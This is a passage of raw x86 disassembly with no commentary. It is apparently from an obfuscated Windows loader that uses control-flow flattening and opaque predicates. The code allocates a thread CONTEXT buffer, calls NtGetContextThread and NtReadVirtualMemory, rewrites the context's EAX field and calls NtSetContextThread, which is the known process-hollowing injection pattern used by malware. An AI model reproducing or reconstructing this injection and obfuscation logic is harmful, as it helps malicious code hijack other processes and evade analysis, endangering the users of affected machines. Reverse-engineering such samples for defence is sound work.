add edx, 0x42783aa5
sub edx, 1
sub edx, 0x42783aa5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbd1f7fd7
mov ecx, 0x231c8238
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov dword [ebp - 0x1ac], 0xa4f78d6
jmp 0x10011037
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x16c]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x170]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov dword [ebp - 0x1ac], 0x46a1e28
jmp 0x10011037
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0xd23c9a13
sub edx, 1
sub edx, 0xd23c9a13
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4100394a
mov ecx, 0xcc3c1df4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov dword [ebp - 0x1ac], 0xbf3a775e
jmp 0x10011037
mov dword [ebp - 0x1ac], 0x1134a878
jmp 0x10011037
mov dword [ebp - 0x1ac], 0xd51efb39
jmp 0x10011037
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x1ac], 0x540b0515
jmp 0x10011037
mov dword [ebp - 0x1ac], 0xb59a91be
jmp 0x10011037
mov dword [ebp - 0x1ac], 0xdf53ea22
jmp 0x10011037
mov dword [ebp - 0x1ac], 0xd9a62f36
jmp 0x10011037
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x1ac], 0xdc101a9a
jmp 0x10011037
mov eax, dword [ebp - 0x98]
movzx eax, word [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfff
mov ecx, 0xffffffff
xor ecx, 0x34fb6dce
or eax, edx
or ecx, 0x34fb6dce
xor eax, 0xffffffff
and eax, ecx
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
add ecx, 0x69599494
add ecx, eax
sub ecx, 0x69599494
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x158]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov dword [ebp - 0x1ac], 0x834cd6c4
jmp 0x10011037
mov dword [ebp - 0x1ac], 0x69daeb7c
jmp 0x10011037
mov dword [ebp - 0x1ac], 0xe76bdbaa
jmp 0x10011037
mov dword [ebp - 0x1ac], 0x16881ffa
jmp 0x10011037
mov dword [ebp - 0x1ac], 0x5d25bca3
jmp 0x10011037
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x1ac], 0x14664365
jmp 0x10011037
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x1ac], 0x5fe179df
jmp 0x10011037
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x1ac], 0xc7804438
jmp 0x10011037
jmp 0x10009070